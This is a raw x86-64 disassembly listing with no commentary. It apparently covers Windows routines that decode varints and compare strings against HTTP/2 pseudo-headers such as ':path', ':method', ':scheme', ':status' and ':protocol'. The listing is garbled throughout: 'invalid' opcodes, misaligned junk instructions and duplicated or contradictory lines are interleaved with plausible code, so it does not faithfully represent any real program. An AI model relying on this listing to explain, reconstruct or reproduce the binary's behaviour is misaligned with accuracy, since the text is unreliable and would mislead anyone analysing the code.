mov byte [rax + 0x108], 1
jmp 0x14001c3ed
mov eax, 3
jmp 0x14001c7e7
mov eax, 4
jmp 0x14001c7e7
mov eax, 5
jmp 0x14001c7e7
movzx eax, sil
test al, 0xf0
je 0x14001c7e7
lea r8, [0x140129338]
mov edx, 0xf
mov rcx, rax
call fcn.140108340
mov eax, 6
jmp 0x14001c7e7
mov rax, rsi
mov r9, qword [rcx + 0x10]
mov r10, qword [r9]
add rax, r10
add rax, 0x27
mov qword [r9], rax
mov r9, qword [rcx + 0x18]
sbb byte [rax - 0x75], cl
cmovns edi, dword [rbx]
add dword [rbx + 0x32], esi
sbb byte [rax - 0x75], cl
cmovns edi, dword [rbx]
add dword [rbx + 0x32], esi
inc rdx
add rcx, 0x60
mov r14, rdx
mov r15, r8
call fcn.14001eda0
add byte [rax - 0x75], cl
invalid
mov byte [rax + 0x60], bl
mov ecx, dword [r14]
mov edx, dword [r14 + 3]
mov dword [rax + 0x61], ecx
mov dword [rax + 0x64], edx
mov qword [rax + 0x68], r15
add byte [rax - 0x75], cl
invalid
mov qword [rax + 0x70], rsi
jmp 0x14001c3ed
cmp byte [rcx + 0x108], 0
jne 0x14001c42a
mov byte [rcx + 0x108], 1
jmp 0x14001c42a
add byte [rax], al
mov esi, 0xf
cmovne esi, r9d
mov r9, qword [r8]
movzx r8d, byte [r9 + r14]
lea r12, [r14 + 1]
mov qword [rax + 8], r12
and r8d, esi
cmp r8b, sil
jne 0x14001c8dc
cmp r11, r12
jbe 0x14001d523
add byte [rax], al
add byte [rax], al
movzx ebx, byte [r9 + r14 + 1]
lea rdi, [r14 + 2]
mov qword [rax + 8], rdi
mov r8d, ebx
and r8b, 0x7f
add r8b, sil
movzx r8d, r8b
test bl, bl
js 0x14001caed
mov rsi, rax
mov rbx, rcx
mov r14, rdi
jmp 0x14001c8ee
test r8, r8
je 0x14001c9a5
mov rsi, rax
mov rbx, rcx
mov r14, r12
mov rdi, rdx
add rdx, 0x10
lea rcx, [rsp + 0x20]
call fcn.14001b610
movzx eax, byte [rsp + 0x20]
and al, 0x20
movzx ecx, byte [rsp + 0x60]
cmp cl, 8
jne 0x14001c919
mov byte [rbx], al
mov byte [rbx + 0x40], 8
jmp 0x14001d52a
movups xmm0, xmmword [rsp + 0x21]
movups xmm1, xmmword [rsp + 0x31]
movups xmm2, xmmword [rsp + 0x41]
movups xmm3, xmmword [rsp + 0x50]
movups xmmword [rsp + 0x118], xmm3
sbb byte [rcx], al
add byte [rax], al
sbb byte [rcx], al
add byte [rax], al
movups xmmword [rsp + 0x109], xmm2
movups xmmword [rsp + 0xf9], xmm1
movups xmmword [rsp + 0xe9], xmm0
mov edx, dword [rsp + 0x61]
mov dword [rsp + 0x129], edx
mov edx, dword [rsp + 0x64]
mov dword [rsp + 0x12c], edx
mov byte [rsp + 0xe8], al
mov byte [rsp + 0x128], cl
lea rcx, [rsp + 0x20]
mov rdx, rdi
mov r8, rsi
call fcn.14001db90
cmp byte [rsp + 0x20], 0
je 0x14001c9d8
movzx eax, byte [rsp + 0x21]
mov byte [rbx], al
mov byte [rbx + 0x40], 8
lea rcx, [rsp + 0xe8]
call fcn.14001d970
jmp 0x14001d52a
mov r15, rcx
lea rcx, [rsp + 0x20]
mov rdi, rdx
mov rsi, rax
mov r8, rax
call fcn.14001db90
cmp byte [rsp + 0x20], 0
je 0x14001cb79
movzx eax, byte [rsp + 0x21]
mov byte [r15], al
mov byte [r15 + 0x40], 8
jmp 0x14001d52a
movups xmm0, xmmword [rsp + 0x28]
movups xmm1, xmmword [rsp + 0x38]
movups xmm2, xmmword [rsp + 0x48]
movaps xmmword [rsp + 0x130], xmm0
movaps xmmword [rsp + 0x140], xmm1
movaps xmmword [rsp + 0x150], xmm2
mov qword [rsi + 8], r14
lea rcx, [rsp + 0x160]
lea rdx, [rsp + 0x130]
mov r8, rsi
call fcn.14001e180
mov rdi, qword [rsp + 0x160]
movzx eax, byte [rsp + 0x168]
test rdi, rdi
je 0x14001c98d
mov rcx, qword [rsp + 0x178]
mov qword [rsp + 0x88], rcx
movups xmm0, xmmword [rsp + 0x169]
movups xmmword [rsp + 0x79], xmm0
mov qword [rsp + 0x70], rdi
mov byte [rsp + 0x78], al
movzx eax, byte [rsp + 0x128]
lea ecx, [rax - 2]
dec al
xor edx, edx
cmp cl, 6
movzx eax, al
cmovae eax, edx
movzx eax, al
lea rcx, [0x140175ef8]
or eax, 0x15947c
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov rax, qword [rsp + 0xe8]
test rax, rax
je 0x14001d05f
lea rdx, [rsp + 0x100]
mov r8, qword [rsp + 0xf0]
mov r9, qword [rsp + 0xf8]
lea rcx, [rsp + 0xb0]
call qword [rax]
mov rax, qword [rsp + 0xb0]
movzx ecx, byte [rsp + 0xb8]
movups xmm0, xmmword [rsp + 0xb9]
movaps xmmword [rsp + 0x160], xmm0
mov rdx, qword [rsp + 0xc8]
mov qword [rsp + 0x16f], rdx
jmp 0x14001d069
cmp r11, rdi
jbe 0x14001d523
movzx esi, byte [r9 + r14 + 2]
lea rdi, [r14 + 3]
mov qword [rax + 8], rdi
mov ebx, esi
and ebx, 0x7f
shl ebx, 7
add r8, rbx
test sil, sil
jns 0x14001c8d1
cmp r11, rdi
jbe 0x14001d523
movzx esi, byte [r9 + r14 + 3]
lea rdi, [r14 + 4]
mov qword [rax + 8], rdi
mov ebx, esi
and ebx, 0x7f
shl ebx, 0xe
add r8, rbx
test sil, sil
test dh, dh
test dh, dh
jns 0x14001c8d1
cmp r11, rdi
cmp ebx, edi
jbe 0x14001d523
movzx r9d, byte [r9 + r14 + 4]
add r14, 5
mov qword [rax + 8], r14
test r9b, r9b
js 0x14001d520
mov rsi, rax
mov rbx, rcx
and r9d, 0x7f
shl r9d, 0x15
add r8, r9
jmp 0x14001c8ee
movups xmm0, xmmword [rsp + 0x28]
movups xmm1, xmmword [rsp + 0x38]
movups xmm2, xmmword [rsp + 0x48]
movaps xmmword [rsp + 0xb0], xmm0
movaps xmmword [rsp + 0xc0], xmm1
add byte [rax], al
movaps xmmword [rsp + 0xd0], xmm2
lea rcx, [rsp + 0x20]
mov rdx, rdi
mov r8, rsi
call fcn.14001db90
cmp byte [rsp + 0x20], 0
je 0x14001cbf5
movzx eax, byte [rsp + 0x21]
mov byte [r15], al
mov byte [r15 + 0x40], 8
mov rax, qword [rsp + 0xb0]
test rax, rax
je 0x14001d52a
invalid
and al, 0xb0
add byte [rax], al
add byte [rax - 0x7b], cl
ror byte [rdi], 0x84
push rbp
or dword [rax], eax
add byte [rax - 0x73], cl
mov word [rax + rcx*8], fs
add byte [rax], al
add byte [rax - 0x75], cl
xchg esp, eax
and al, 0xb8
add byte [rax], al
add byte [rbx + rcx*4 - 0x7c], cl
and al, 0xc0
add byte [rax], al
add bh, bh
push rax
adc cl, ch
xor eax, 0xf000009
add byte [rdi], cl
lea rcx, [rsp + 0xc8]
mov rdx, qword [rsp + 0xb8]
mov r8, qword [rsp + 0xc0]
call qword [rax + 0x10]
jmp 0x14001d52a
invalid
add byte [rdi], cl
movups xmm0, xmmword [rsp + 0x28]
adc byte [rsp + 0x28], al
and al, 0x28
movups xmm1, xmmword [rsp + 0x38]
movups xmm2, xmmword [rsp + 0x48]
movaps xmmword [rsp + 0x1a0], xmm0
movaps xmmword [rsp + 0x1b0], xmm1
movaps xmmword [rsp + 0x1c0], xmm2
mov qword [rsi + 8], r12
movaps xmm0, xmmword [rsp + 0xb0]
movaps xmm1, xmmword [rsp + 0xc0]
movaps xmm2, xmmword [rsp + 0xd0]
movaps xmmword [rsp + 0x40], xmm2
movaps xmmword [rsp + 0x30], xmm1
movaps xmmword [rsp + 0x20], xmm0
lea rcx, [rsp + 0x180]
lea rdx, [rsp + 0x20]
mov r8, rsi
call fcn.14001e180
lea rcx, [rsp + 0x90]
lea ecx, [rsp + 0x90]
lea rdx, [rsp + 0x1a0]
mov r8, rsi
call fcn.14001e180
mov rsi, qword [rsp + 0x190]
test rsi, rsi
je 0x14001cd42
mov rdi, qword [rsp + 0x188]
mov edi, dword [rsp + 0x188]
add byte [rax], al
cmp byte [rdi], 0x3a
jne 0x14001cffb
lea rcx, [rsi - 5]
cmp rcx, 5
cmp ecx, 5
mov rax, r15
ja case.0x14001ccb5.1
lea rdx, [0x140175ee0]
movsxd rcx, dword [rdx + rcx*4]
add rcx, rdx
jmp rcx
cmp byte [rdi + 1], 0x70
jne case.0x14001ccb5.1
cmp byte [rdi + 2], 0x61
jne case.0x14001ccb5.1
cmp byte [rdi + 3], 0x74
jne case.0x14001ccb5.1
cmp byte [rdi + 4], 0x68
jne case.0x14001ccb5.1
movups xmm0, xmmword [rsp + 0x90]
movups xmm1, xmmword [rsp + 0xa0]
movaps xmmword [rsp + 0x30], xmm1
movaps xmmword [rsp + 0x20], xmm0
xor byte [rdi], cl
sub dword [rsp + 0x20], eax
lea rcx, [rsp + 0xe8]
lea rdx, [rsp + 0x20]
call fcn.14001e210
mov rax, qword [rsp + 0xe8]
test rax, rax
je 0x14001d669
movups xmm0, xmmword [rsp + 0xf0]
movups xmmword [r15 + 8], xmm0
mov rcx, qword [rsp + 0x100]
mov qword [r15], rax
mov qword [r15 + 0x18], rcx
sbb byte [r9 - 0x3a], r8b
add eax, 0x909e9
invalid
sbb byte [r9 - 0x3a], r8b
add eax, 0x909e9
add byte [rcx - 0x3a], al
invalid
mov byte [r15], 0
mov byte [r15 + 0x40], 8
mov rdi, qword [rsp + 0x188]
jmp 0x14001d020
mov rax, qword [rsp + 0x70]
movzx ecx, byte [rsp + 0x78]
mov edx, dword [rsp + 0x79]
movzx r8d, word [rsp + 0x7d]
movzx r9d, byte [rsp + 0x7f]
movups xmm0, xmmword [rsp + 0x80]
movaps xmmword [rsp + 0x30], xmm0
add byte [rdi], cl
sub dword [rsp + 0x30], eax
mov qword [rsp + 0x20], rax
mov byte [rsp + 0x28], cl
mov dword [rsp + 0x29], edx
mov word [rsp + 0x2d], r8w
mov byte [rsp + 0x2f], r9b
mov rdi, qword [rsp + 0x28]
mov rsi, qword [rsp + 0x30]
lea rcx, [rsp + 0xb0]
mov rdx, rdi
mov r8, rsi
call fcn.140014520
cmp qword [rsp + 0xb0], 0
jne 0x14001cfb6
mov rax, qword [rsp + 0x20]
test rax, rax
je 0x14001cfc9
mov rcx, qword [rsp + 0x38]
mov qword [rbx], rax
mov qword [rbx + 8], rdi
mov qword [rbx + 0x10], rsi
mov qword [rbx + 0x18], rcx
mov byte [rbx + 0x40], 5
jmp 0x14001c993
mov rdx, qword [rsp + 0x78]
mov rsi, qword [rsp + 0x80]
lea rcx, [rsp + 0x20]
mov r8, rsi
call fcn.1400315c0
cmp byte [rsp + 0x20], 0xb
jne 0x14001d045
mov byte [rbx], 7
mov byte [rbx + 0x40], 8
jmp 0x14001d264
mov rax, qword [rsp + 0x70]
movzx ecx, byte [rsp + 0x78]
mov edx, dword [rsp + 0x79]
movzx r8d, word [rsp + 0x7d]
movzx r9d, byte [rsp + 0x7f]
movups xmm0, xmmword [rsp + 0x80]
movaps xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x20], rax
mov byte [rsp + 0x28], cl
and al, 0x28
mov dword [rsp + 0x29], edx
mov word [rsp + 0x2d], r8w
mov byte [rsp + 0x2f], r9b
mov rdi, qword [rsp + 0x28]
mov rsi, qword [rsp + 0x30]
lea rcx, [rsp + 0xb0]
mov rdx, rdi
mov r8, rsi
call fcn.140014520
cmp qword [rsp + 0xb0], 0
jne 0x14001cfb6
mov rax, qword [rsp + 0x20]
test rax, rax
je 0x14001cfc9
mov rcx, qword [rsp + 0x38]
mov qword [rbx], rax
mov qword [rbx + 8], rdi
mov qword [rbx + 0x10], rsi
mov qword [rbx + 0x18], rcx
mov byte [rbx + 0x40], 4
jmp 0x14001c993
mov rax, qword [rsp + 0x70]
movzx ecx, byte [rsp + 0x78]
mov edx, dword [rsp + 0x79]
movzx r8d, word [rsp + 0x7d]
movzx r9d, byte [rsp + 0x7f]
movups xmm0, xmmword [rsp + 0x80]
movaps xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x20], rax
mov byte [rsp + 0x28], cl
mov dword [rsp + 0x29], edx
mov word [rsp + 0x2d], r8w
mov byte [rsp + 0x2f], r9b
mov rdi, qword [rsp + 0x28]
mov rsi, qword [rsp + 0x30]
lea rcx, [rsp + 0xb0]
mov rdx, rdi
mov r8, rsi
call fcn.140014520
cmp qword [rsp + 0xb0], 0
jne 0x14001cfb6
mov rax, qword [rsp + 0x20]
test rax, rax
je 0x14001cfc9
mov rcx, qword [rsp + 0x38]
mov qword [rbx], rax
mov qword [rbx + 8], rdi
mov qword [rbx + 0x10], rsi
mov qword [rbx + 0x18], rcx
mov byte [rbx + 0x40], 2
jmp 0x14001c993
invalid
dec dword [rax - 0x75]
and al, 0x70
mov rax, qword [rsp + 0x70]
movzx ecx, byte [rsp + 0x78]
mov edx, dword [rsp + 0x79]
movzx r8d, word [rsp + 0x7d]
movzx r9d, byte [rsp + 0x7f]
movups xmm0, xmmword [rsp + 0x80]
movaps xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x20], rax
mov byte [rsp + 0x28], cl
mov dword [rsp + 0x29], edx
mov word [rsp + 0x2d], r8w
mov byte [rsp + 0x2f], r9b
mov rdi, qword [rsp + 0x28]
mov rsi, qword [rsp + 0x30]
lea rcx, [rsp + 0xb0]
mov word [rax + rsi*4], fs
add byte [rax], al
add byte [rax - 0x77], cl
cli
mov word [rax + rsi*4], fs
add byte [rax], al
add byte [rax - 0x77], cl
cli
mov r8, rsi
call fcn.140014520
cmp qword [rsp + 0xb0], 0
je 0x14001d12c
invalid
add byte [rax - 0x75], cl
and al, 0x20
mov rax, qword [rsp + 0x20]
lea rcx, [rsp + 0x38]
mov rdx, rdi
mov r8, rsi
call qword [rax + 0x10]
mov byte [rbx], 7
jmp 0x14001c98f
mov rcx, qword [rsp + 0x78]
mov rsi, qword [rsp + 0x80]
mov rdx, rsi
call fcn.140032390
test ax, ax
je 0x14001d157
mov word [rbx], ax
mov byte [rbx + 0x40], 7
jmp 0x14001d264
invalid
add byte [rax - 0x73], cl
and al, 0x20
lea rcx, [rsp + 0x20]
mov rdx, rdi
mov r8, rsi
call fcn.140031270
cmp qword [rsp + 0x20], 0
je 0x14001d163
mov byte [r15], 7
mov byte [r15 + 0x40], 8
mov byte [rdi + 0x40], 8
mov byte [rdi + 0x40], 8
lea rcx, [rsp + 0xa8]
mov rax, qword [rsp + 0x90]
mov rdx, qword [rsp + 0x98]
mov r8, qword [rsp + 0xa0]
jmp 0x14001d648
movabs al, byte [0x603e9000000]
mov rax, qword [rsp + 0x30]
mov eax, dword [rsp + 0x30]
mov qword [rbx + 0x10], rax
movups xmm0, xmmword [rsp + 0x20]
movups xmmword [rbx], xmm0
mov byte [rbx + 0x40], 3
jmp 0x14001d264
movzx ecx, byte [rsp + 0xf0]
add byte [rax], al
xor eax, eax
mov qword [rsp + 0x130], rax
mov byte [rsp + 0x138], cl
movaps xmm0, xmmword [rsp + 0x160]
movups xmmword [rsp + 0x139], xmm0
mov rcx, qword [rsp + 0x16f]
mov qword [rsp + 0x148], rcx
mov dword [rsp + 0x148], ecx
mov dword [rsp + 0x148], ecx
mov rsi, qword [rsp + 0x80]
test rsi, rsi
je 0x14001d101
mov rdx, qword [rsp + 0x78]
xor ecx, ecx
jmp 0x14001d0c0
cmp r8b, 0x7f
je 0x14001d0d1
clc
jg case.0x1400284e6.489
sbb eax, 0x48c1ff48
cmp esi, ecx
inc rcx
cmp rsi, rcx
je 0x14001d1f8
movzx r8d, byte [rdx + rcx]
cmp r8b, 0x1f
ja 0x14001d0ae
cmp r8b, 9
cmp al, 9
je 0x14001d0b4
mov byte [rbx], 7
mov byte [rbx + 0x40], 8
test rax, rax
je 0x14001d264
lea rcx, [rsp + 0x148]
mov rdx, qword [rsp + 0x138]
add byte [rax - 0x75], cl
xchg esp, eax
and al, 0x38
add dword [rax], eax
add byte [rbx + rcx*4 - 0x7c], cl
and al, 0x40
add dword [rax], eax
add bh, bh
push rax
adc cl, ch
invalid
add byte [rax], al
mov r8, qword [rsp + 0x140]
call qword [rax + 0x10]
jmp 0x14001d264
mov qword [rsp + 0xb8], 1
xorps xmm0, xmm0
movups xmmword [rsp + 0xc0], xmm0
add byte [rax], al
lea rax, [0x140113ac0]
mov qword [rsp + 0xb0], rax
and al, 0xb0
add byte [rax], al
invalid
and al, 0xb0
add byte [rax], al
add cl, ch
jmp case.0x140019144.439
jmp case.0x140019144.439
mov rax, qword [rsp + 0x20]
and al, 0x20
and byte [rax - 0x7b], cl
ror byte [rdi], 0x84
invalid
test rax, rax
je 0x14001cfc9
mov rcx, qword [rsp + 0x38]
mov qword [rbx], rax
mov qword [rbx + 8], rdi
mov qword [rbx + 0x10], rsi
mov qword [rbx + 0x18], rcx
mov byte [rbx + 0x40], 6
jmp 0x14001c993
mov byte [rbx], 8
add ecx, dword [rax]
mov byte [rbx + 0x40], 8
jmp 0x14001d264
movups xmm0, xmmword [rsp + 0x28]
and al, 0x28
movups xmm1, xmmword [rsp + 0x38]
movaps xmmword [rsp + 0x140], xmm1
add byte [rdi], cl
sub dword [rsp + 0x130], eax
add byte [rdi], cl
sub dword [rsp + 0x130], eax
mov rdx, qword [rsp + 0x98]
mov edx, dword [rsp + 0x98]
mov r8, qword [rsp + 0xa0]
test r8, r8
mov rax, r15
add byte [rbp - 0x7b], cl
ror byte [rcx + rcx*4 - 8], 0xf
je 0x14001d47b
invalid
je 0x14001d47b
xor ecx, ecx
leave
jmp 0x14001d1af
cmp r9b, 0x7f
je 0x14001d1c0
inc rcx
cmp r8, rcx
je 0x14001d4a3
movzx r9d, byte [rdx + rcx]
cmp r9b, 0x1f
ja 0x14001d19d
cmp r9b, 9
je 0x14001d1a3
mov byte [rax], 7
mov byte [rax + 0x40], 8
mov rax, qword [rsp + 0x130]
test rax, rax
or byte [rax - 0x75], cl
test byte [rax + rsi], ah
add dword [rax], eax
add byte [rax - 0x7b], cl
ror byte [rdi], 0x84
invalid
invalid
invalid
je 0x14001d020
invalid
dec dword [rax - 0x73]
mov word [rax + rcx*2], fs
add dword [rax], eax
add byte [rax], al
mov rdx, qword [rsp + 0x138]
mov r8, qword [rsp + 0x140]
invalid
lea rcx, [rsp + 0x148]
add byte [rax], al
mov rdx, qword [rsp + 0x138]
mov r8, qword [rsp + 0x140]
call qword [rax + 0x10]
push rax
adc cl, ch
sub dh, bh
invalid
invalid
push rax
adc cl, ch
sub dh, bh
invalid
lea rcx, [rsp + 0xb0]
mov r8, rsi
call fcn.1400122d0
mov word [rax + rsi*4], fs
add byte [rax], al
add byte [rcx - 0x77], cl
invalid
mov byte [rsp + 0xd0], 0
movups xmm0, xmmword [rsp + 0xb0]
add byte [rax], al
add byte [rax], al
movups xmm1, xmmword [rsp + 0xc0]
movaps xmmword [rsp + 0x40], xmm0
movaps xmmword [rsp + 0x50], xmm1
movaps xmmword [rsp + 0x50], xmm1
mov rax, qword [rsp + 0xd0]
rol byte [rax], 1
add byte [rax], al
mov qword [rsp + 0x60], rax
and al, 0x60
movups xmm2, xmmword [rsp + 0x130]
movups xmm3, xmmword [rsp + 0x140]
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rdi], cl
adc byte [rsp + 0x140], bl
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rdi], cl
sub dword [rsp + 0x20], edx
and al, 0x20
movaps xmmword [rsp + 0x20], xmm2
and al, 0x20
movaps xmmword [rsp + 0x30], xmm3
mov qword [rbx + 0x40], rax
mov dword [rbx + 0x40], eax
movups xmmword [rbx + 0x30], xmm1
movups xmmword [rbx + 0x20], xmm0
movups xmmword [rbx + 0x10], xmm3
movups xmmword [rbx], xmm2
lea rcx, [rsp + 0x88]
mov byte [rax], al
add byte [rax], al
mov rdx, qword [rsp + 0x78]
mov r8, rsi
call qword [rdi + 0x10]
jmp 0x14001c993
cmp byte [rdi + 2], 0x72
jne case.0x14001ccb5.1
cmp byte [rdi + 3], 0x6f
jne case.0x14001ccb5.1
cmp byte [rdi + 4], 0x74
jne case.0x14001ccb5.1
add eax, dword [rax]
invalid
add eax, dword [rax]
add byte [rax + 0xf6f057f], al
test dword [rbx + 3], esi
add byte [rax], al
cmp byte [rdi + 5], 0x6f
jne case.0x14001ccb5.1
cmp byte [rdi + 6], 0x63
jne case.0x14001ccb5.1
cmp byte [rdi + 7], 0x6f
jne case.0x14001ccb5.1
cmp byte [rdi + 8], 0x6c
jne case.0x14001ccb5.1
movups xmm0, xmmword [rsp + 0x90]
movups xmm1, xmmword [rsp + 0xa0]
movaps xmmword [rsp + 0x30], xmm1
and al, 0x30
and al, 0x30
movaps xmmword [rsp + 0x20], xmm0
lea rcx, [rsp + 0xe8]
lea rdx, [rsp + 0x20]
call fcn.14001e290
mov rax, qword [rsp + 0xe8]
test rax, rax
je 0x14001d669
movups xmm0, xmmword [rsp + 0xf0]
movups xmmword [r15 + 8], xmm0
mov rcx, qword [rsp + 0x100]
mov qword [r15], rax
mov qword [r15 + 0x18], rcx
mov byte [r15 + 0x40], 6
jmp 0x14001d64b
movzx ecx, byte [rdi + 1]
cmp ecx, 0x73
je 0x14001d53b
cmp ecx, 0x6d
jne case.0x14001ccb5.1
cmp byte [rdi + 2], 0x65
jne case.0x14001ccb5.1
cmp byte [rdi + 3], 0x74
jne case.0x14001ccb5.1
cmp byte [rdi + 4], 0x68
jne case.0x14001ccb5.1
cmp byte [rdi + 5], 0x6f
jne case.0x14001ccb5.1
cmp byte [rdi + 6], 0x64
jne case.0x14001ccb5.1
mov rdx, qword [rsp + 0x98]
mov r8, qword [rsp + 0xa0]
lea rcx, [rsp + 0x20]
mov rbx, rdx
mov r14, r8
call fcn.1400315c0
cmp byte [rsp + 0x20], 0xb
je 0x14001d017
mov rax, qword [rsp + 0x30]
mov qword [r15 + 0x10], rax
movups xmm0, xmmword [rsp + 0x20]
movups xmmword [r15], xmm0
mov byte [r15 + 0x40], 3
jmp 0x14001d5a2
test dword [rbx], edi
add al, byte [rax]
add byte [rax + 0xf6f057f], al
test dword [rcx], esi
add al, byte [rax]
add byte [rax + 0xf72067f], al
test dword [rdi], esp
add al, byte [rax]
add byte [rax + 0xf69077f], al
test dword [0xc001d407], ebx
jg 0x14001d40f
je 0x14001d418
test dword [rbx], edx
add al, byte [rax]
add byte [rax + 0xf79097f], al
jg 0x14001d41a
jns 0x14001d422
test dword [rcx], ecx
add al, byte [rax]
add byte [rdi], cl
adc byte [rsp + 0x90], al
movups xmm0, xmmword [rsp + 0x90]
test byte [rax + rdx*4], ah
add byte [rax], al
add byte [rdi], cl
adc byte [rsp + 0xa0], cl
movups xmm1, xmmword [rsp + 0xa0]
mov word [rax + riz*4], fs
add byte [rax], al
add byte [rdi], cl
sub dword [rsp + 0x30], ecx
movaps xmmword [rsp + 0x30], xmm1
movaps xmmword [rsp + 0x20], xmm0
lea rcx, [rsp + 0xe8]
lea rdx, [rsp + 0x20]
call fcn.14001e210
add byte [rax], al
mov rax, qword [rsp + 0xe8]
test rax, rax
je 0x14001d669
movups xmm0, xmmword [rsp + 0xf0]
movups xmmword [r15 + 8], xmm0
mov rcx, qword [rsp + 0x100]
mov qword [r15], rax
mov qword [r15 + 0x18], rcx
mov byte [r15 + 0x40], 2
jmp 0x14001d64b
mov qword [rsp + 0xf0], 1
xorps xmm0, xmm0
movups xmmword [rsp + 0xf8], xmm0
lea rcx, [0x140113ac0]
clc
add byte [rax], al
add byte [rax - 0x73], cl
or eax, 0xf6627
mov qword [rsp + 0xe8], rcx
jmp 0x14001d4bf
lea rcx, [rsp + 0xe8]
mov rbx, rdx
mov r14, r8
call fcn.1400122d0
dec dword [rbp - 0x77]
invalid
mov rdx, rbx
mov rax, r15
ror dword [rbp - 0x77], cl
invalid
mov byte [rsp + 0x108], 0
mov rcx, qword [rsp + 0x108]
mov qword [rsp + 0x60], rcx
movups xmm0, xmmword [rsp + 0xe8]
movups xmm1, xmmword [rsp + 0xf8]
add byte [rax], al
add byte [rdi], cl
adc byte [rsp + 0xf8], cl
movaps xmmword [rsp + 0x50], xmm1
movaps xmmword [rsp + 0x40], xmm0
movaps xmm2, xmmword [rsp + 0x130]
movaps xmm3, xmmword [rsp + 0x140]
movaps xmmword [rsp + 0x20], xmm2
pushfq
and al, 0x40
add dword [rax], eax
add byte [rdi], cl
sub dword [rsp + 0x20], edx
movaps xmmword [rsp + 0x30], xmm3
mov qword [rax + 0x40], rcx
movups xmmword [rax + 0x30], xmm1
movups xmmword [rax + 0x20], xmm0
movups xmmword [rax + 0x10], xmm3
movups xmmword [rax], xmm2
jmp 0x14001d638
mov r10b, 0xb
mov byte [rcx], r10b
mov byte [rcx + 0x40], 8
add rsp, 0x1d8
pop rbx
pop rdi
add byte [rbx + 0x5f], bl
pop rsi
pop r12
pop r14
pop r15
ret
movzx ecx, byte [rdi + 2]
cmp ecx, 0x63
je case.0x14001a8c7.107
cmp ecx, 0x74
jne case.0x14001ccb5.1
cmp byte [rdi + 3], 0x61
jne case.0x14001ccb5.1
cmp byte [rdi + 4], 0x74
jne case.0x14001ccb5.1
cmp byte [rdi + 5], 0x75
jne case.0x14001ccb5.1
cmp byte [rdi + 6], 0x73
jne case.0x14001ccb5.1
mov rcx, qword [rsp + 0x98]
mov rdx, qword [rsp + 0xa0]
movabs al, byte [0x8949cb8948000000]
invalid
call fcn.140032390
test ax, ax
je 0x14001d017
mov word [r15], ax
mov byte [r15 + 0x40], 7
mov rdx, rbx
mov r8, r14
jmp 0x14001d638
cmp byte [rdi + 3], 0x68
jne case.0x14001ccb5.1
cmp byte [rdi + 4], 0x65
jne case.0x14001ccb5.1
cmp byte [rdi + 5], 0x6d
jne case.0x14001ccb5.1
cmp byte [rdi + 6], 0x65
jne case.0x14001ccb5.1
movups xmm0, xmmword [rsp + 0x90]
movups xmm1, xmmword [rsp + 0xa0]
movaps xmmword [rsp + 0x30], xmm1
movaps xmmword [rsp + 0x20], xmm0
lea rcx, [rsp + 0xe8]
lea rdx, [rsp + 0x20]
lea edx, [rsp + 0x20]
call fcn.14001e210
mov rax, qword [rsp + 0xe8]
test rax, rax
je 0x14001d669
movups xmm0, xmmword [rsp + 0xf0]
movups xmmword [r15 + 8], xmm0
mov rcx, qword [rsp + 0x100]
mov qword [r15], rax
mov qword [r15 + 0x18], rcx
and al, 0
add dword [rax], eax
add byte [rcx - 0x77], cl
invalid
mov byte [r15 + 0x40], 4
jmp 0x14001d64b
mov byte [rax], 9
mov byte [rax + 0x40], 8
or byte [rax - 0x75], cl
xchg esp, eax
and al, 0x98
add byte [rax], al
add byte [rbx + rcx*4 - 0x7c], cl
and al, 0xa0
add byte [rax], al
add byte [rax - 0x75], cl
test byte [rax + rdx*4], ah
add byte [rax], al
add byte [rax - 0x73], cl
mov rdx, qword [rsp + 0x98]
mov r8, qword [rsp + 0xa0]
mov rax, qword [rsp + 0x90]
lea rcx, [rsp + 0xa8]
mov word [rax + rbp*4], fs
add byte [rax], al
add bh, bh
push rax
adc byte [rax - 0x75], cl
test byte [rax + rax*4], ah
call qword [rax + 0x10]
mov rax, qword [rsp + 0x180]
lea rcx, [rsp + 0x198]
mov rdx, rdi
add dword [rax], eax
add byte [rax - 0x73], cl
mov word [rax + rbx*4], fs
add dword [rax], eax
add byte [rax - 0x77], cl
cli
mov r8, rsi
call qword [rax + 0x10]
jmp 0x14001d52a
mov byte [r15], 7
mov byte [r15 + 0x40], 8
jmp 0x14001d64b
invalid
int3
push r14
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x70
mov rsi, rcx
mov esi, ecx
movzx eax, byte [rdx + 0x40]
lea ecx, [rax - 2]
dec al
xor r8d, r8d
cmp cl, 6
movzx eax, al
cmovae eax, r8d
movzx eax, al
lea rcx, [0x140175f14]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
invalid
or dword [rax + 1], 0x4ce0ffc8
mov edx, dword [rdx]
mov r10, qword [rdx]
test r10, r10
je 0x14001d7ae
lea rax, [rdx + 0x18]
mov r8, qword [rdx + 8]
mov r9, qword [rdx + 0x10]
lea rcx, [rsp + 0x50]
mov rdi, rdx
mov rdx, rax
call qword [r10]
mov rdx, rdi
mov rdi, qword [rsp + 0x50]
and al, 0x50
movzx ebx, byte [rsp + 0x58]
movups xmm0, xmmword [rsp + 0x59]
movaps xmmword [rsp + 0x30], xmm0
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x3f], rax
and al, 0x3f
jmp 0x14001d7b4
lea rax, [rdx + 0x18]
mov r10, qword [rdx]
mov r8, qword [rdx + 8]
mov r9, qword [rdx + 0x10]
mov rcx, rsi
mov rdx, rax
ret 0xff41
adc dh, byte [rax + 0xcde905]
add byte [rax], al
movzx ebp, byte [rdx]
cmp ebp, 9
jae 0x14001d7fc
or dword [rdi], ecx
or edi, 0
add byte [rax], al
mov byte [rsi], bpl
mov eax, dword [rsp + 0x28]
and al, 0x28
mov ecx, dword [rsp + 0x2b]
mov dword [rsi + 1], eax
mov dword [rsi + 4], ecx
mov qword [rsi + 8], rbx
pop rsi
or byte [rax - 0x77], cl
jle 0x14001d756
mov al, 3
jmp 0x14001d7ee
lea rax, [rdx + 0x18]
mov r10, qword [rdx]
mov r8, qword [rdx + 8]
mov r9, qword [rdx + 0x10]
mov rcx, rsi
mov rdx, rax
call qword [r10]
mov al, 4
add al, 0xe9
invalid
add byte [rax], al
invalid
lea rax, [rdx + 0x18]
mov r10, qword [rdx]
mov r8, qword [rdx + 8]
mov r9, qword [rdx + 0x10]
mov rcx, rsi
mov rdx, rax
call qword [r10]
mov al, 2
jmp 0x14001d7ee
